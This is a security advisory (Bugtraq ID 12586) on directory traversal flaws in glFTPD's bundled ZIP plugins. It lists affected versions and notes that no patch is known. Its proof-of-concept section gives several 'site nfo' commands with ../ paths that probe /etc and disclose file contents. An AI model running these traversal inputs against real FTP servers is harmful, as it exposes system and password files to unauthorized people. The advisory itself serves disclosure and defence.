glFTPD ZIP Plugins Multiple Directory Traversal Vulnerabilities

BID:12586

Info

glFTPD ZIP Plugins Multiple Directory Traversal Vulnerabilities

Bugtraq ID: 12586
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 18 2005 12:00AM
Updated: Feb 18 2005 12:00AM
Credit: Discovery is credited to Paul Craig <[email protected]>.
Vulnerable: GlFtpd GlFtpd 2.0 RC7
GlFtpd GlFtpd 2.0 RC6
GlFtpd GlFtpd 2.0 RC5
GlFtpd GlFtpd 2.0 RC4
GlFtpd GlFtpd 2.0 RC3
GlFtpd GlFtpd 2.0 RC2
GlFtpd GlFtpd 2.0 RC1
GlFtpd GlFtpd 2.0
GlFtpd GlFtpd 1.32
GlFtpd GlFtpd 1.31
GlFtpd GlFtpd 1.29.1
GlFtpd GlFtpd 1.28
GlFtpd GlFtpd 1.27
GlFtpd GlFtpd 1.26
Not Vulnerable:

Discussion

glFTPD ZIP Plugins Multiple Directory Traversal Vulnerabilities

It is reported that various ZIP related plugins supplied with the server contain multiple directory traversal vulnerabilities. These issues may allow remote attackers to determine the existence of files on a computer and also disclose arbitrary files. The issues arise due to insufficient sanitization of user-supplied data.

By determining the presence of files in restricted directories and outside the server's root in addition to disclosing the contents of arbitrary files, the attacker can launch various attacks against a vulnerable computer. If an attack results in the disclosure of a password file, these issues may ultimately lead to unauthorized access to the affected computer in the context of the server.

The affected plugins are shipped with the FTP server by default. glFTPD 1.26 to 2.00 are reported vulnerable.

Exploit / POC

glFTPD ZIP Plugins Multiple Directory Traversal Vulnerabilities

An exploit is not required.

The following proof of concept examples are available:

To determine the existence of a file out side the server's root:
site nfo ../etc/group

To determine the existence of the first two files in a directory out side the server's root:
site nfo ../../../../../etc/*

To determine the existence of the first two files in a directory inside the server's root:
site nfo staff/*

To determine the existence of files in the directory tree:
site nfo ../../../../../etc/a*

To determine the existence of files in a ZIP archive:
site nfo ../../*.zip

To disclose the contents of files with names starting with the letter 'p' in a directory:
site nfo ../../backup.zip p*

Solution / Fix

glFTPD ZIP Plugins Multiple Directory Traversal Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

glFTPD ZIP Plugins Multiple Directory Traversal Vulnerabilities

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